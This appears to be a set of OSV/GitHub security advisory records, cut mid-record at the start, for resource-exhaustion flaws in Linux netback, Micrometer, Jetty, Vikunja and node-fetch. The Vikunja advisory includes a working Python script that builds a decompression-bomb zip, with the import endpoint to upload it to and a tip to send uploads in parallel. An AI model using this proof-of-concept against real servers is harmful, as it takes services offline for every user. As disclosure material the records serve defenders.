      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
    },
    {
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    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2893"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Aug/47"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201909-04"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0003"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190905-0003"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp%3Butm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4113-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4509"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
    },
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      "url": "https://access.redhat.com/errata/RHSA-2019:2925"
    },
    {
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      "url": "https://access.redhat.com/errata/RHSA-2019:2949"
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      "url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/605641"
    },
    {
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      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
    },
    {
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    },
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      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
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      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/08/15/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-28715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-404",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-06T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Guest can force Linux netback driver to hog large amounts of kernel memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Incoming data packets for a guest in the Linux kernel\u0027s netback driver are buffered until the guest is ready to process them. There are some measures taken for avoiding to pile up too much data, but those can be bypassed by the guest: There is a timeout how long the client side of an interface can stop consuming new packets before it is assumed to have stalled, but this timeout is rather long (60 seconds by default). Using a UDP connection on a fast interface can easily accumulate gigabytes of data in that time. (CVE-2021-28715) The timeout could even never trigger if the guest manages to have only one free slot in its RX queue ring page and the next package would require more than one free slot, which may be the case when using GSO, XDP, or software hashing. (CVE-2021-28714)",
  "id": "GHSA-w6w3-wf72-pc3c",
  "modified": "2022-03-17T00:06:16Z",
  "published": "2022-01-07T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28715"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5050"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5096"
    },
    {
      "type": "WEB",
      "url": "https://xenbits.xenproject.org/xsa/advisory-392.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.micrometer:micrometer-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.micrometer:micrometer-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T19:05:56Z",
    "nvd_published_at": "2026-06-09T05:16:34Z",
    "severity": "HIGH"
  },
  "details": "In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition.\n\nAffected versions:\nMicrometer 1.16.0 through 1.16.5; 1.15.0 through 1.15.11.",
  "id": "GHSA-w737-wx49-qj23",
  "modified": "2026-09-11T15:32:17Z",
  "published": "2026-06-09T06:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40983"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36839"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41951"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50848"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50849"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54435"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66488"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-40983"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2486697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micrometer-metrics/micrometer"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40983.json"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-40983"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Micrometer gRPC server instrumentation DoS"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-19204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T11:17:20Z",
    "severity": "HIGH"
  },
  "details": "A client may send a WebSocket frame with an unknown opcode and a very large declared payload length, causing Jetty to attempt a large memory allocation and potentially exhaust the JVM heap.\n\n\n\n\nThis occurs when auto-fragmentation is enabled, as unknown opcodes bypass the normal maximum frame size handling and payload allocation occurs before the opcode is validated.",
  "id": "GHSA-w753-5ffq-99wr",
  "modified": "2026-09-07T12:30:29Z",
  "published": "2026-09-07T12:30:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-85fq-fc5f-7j7g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19204"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:52:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nVikunja lets you export your data as a zip and import it back. The import doesn\u0027t limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server\u0027s memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.\n\n### Details\nThe import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there\u0027s no ceiling on the total uncompressed size or on the number of files, and there\u0027s no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.\n\nCompression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB)\n can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.\n\nThe fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.\n\n### PoC\nThe attacker needs an ordinary account that can use the import feature.\n\n1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).\n```python\n#!/usr/bin/env python3\nimport argparse, json, os, zipfile\n\nCHUNK = b\"\\0\" * (1024 * 1024)\n\ndef build(out, n, size, version):\n    tasks = [{\"title\": f\"t{i}\", \"attachments\": [{\"file\": {\"id\": i, \"name\": \"a\"}}]}\n             for i in range(1, n + 1)]\n    data = json.dumps([{\"title\": \"bomb\", \"tasks\": tasks, \"child_projects\": []}]).encode()\n\n    with zipfile.ZipFile(out, \"w\", zipfile.ZIP_DEFLATED, compresslevel=9) as z:\n        z.writestr(\"VERSION\", version)\n        z.writestr(\"data.json\", data)\n        for i in range(1, n + 1):\n            with z.open(f\"files/{i}\", \"w\") as f:\n                for _ in range(size):\n                    f.write(CHUNK)\n\n    raw = n * size * 1024**2\n    print(f\"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB \"\n          f\"({raw/1024**3:.1f} GiB uncompressed)\")\n\np = argparse.ArgumentParser()\np.add_argument(\"-o\", \"--out\", default=\"bomb.zip\")\np.add_argument(\"-n\", \"--files\", type=int, default=200)\np.add_argument(\"-s\", \"--size-mib\", type=int, default=18)\np.add_argument(\"--version\", default=\"v2.5.0\")\na = p.parse_args()\nbuild(a.out, a.files, a.size_mib, a.version)\n```\n3. Upload it to the import endpoint:\n```\nPUT /api/v1/migration/vikunja-file/migrate\n(multipart file upload: the crafted zip)\n```\n4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone.\nRepeat, or send several uploads at once, to reach the limit reliably.\n\n(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)\n\n### Impact\nDenial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.",
  "id": "GHSA-w7jp-mf2v-8342",
  "modified": "2026-10-09T20:52:52Z",
  "published": "2026-10-09T20:52:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w7jp-mf2v-8342"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-decompression-bomb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Denial of service via decompression bomb in the data import"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-fetch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0-beta.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "node-fetch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta.1"
            },
            {
              "fixed": "3.0.0-beta.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-09-10T17:44:09Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nNode Fetch did not honor the `size` option after following a redirect, which means that when a content size was over the limit, a `FetchError` would never get thrown and the process would end without failure.\n\nFor most people, this fix will have a little or no impact. However, if you are relying on node-fetch to gate files above a size, the impact could be significant, for example: If you don\u0027t double-check the size of the data after `fetch()` has completed, your JS thread could get tied up doing work on a large file (DoS) and/or cost you money in computing.\n\n### Patches\nWe released patched versions for both stable and beta channels:\n\n- For `v2`: 2.6.1\n- For `v3`: 3.0.0-beta.9\n\n### Workarounds\nNone, it is strongly recommended to update as soon as possible.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [node-fetch](https://github.com/node-fetch/node-fetch/issues/new?assignees=\u0026labels=question\u0026template=support-or-usage.md\u0026title=Question%3A+)\n* Contact one of the core maintainers.",
  "id": "GHSA-w7rc-rwvf-8q5r",
  "modified": "2024-07-15T19:46:22Z",
  "published": "2020-09-10T17:46:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-fetch/node-fetch/security/advisories/GHSA-w7rc-rwvf-8q5r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-fetch/node-fetch/commit/2358a6c2563d1730a0cdaccc197c611949f6a334"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-fetch/node-fetch/commit/eaff0094c4dfdd5b78711a8c4f1b61e33d282072"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-fetch/node-fetch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "The `size` option isn\u0027t honored after following a redirect in node-fetch"
}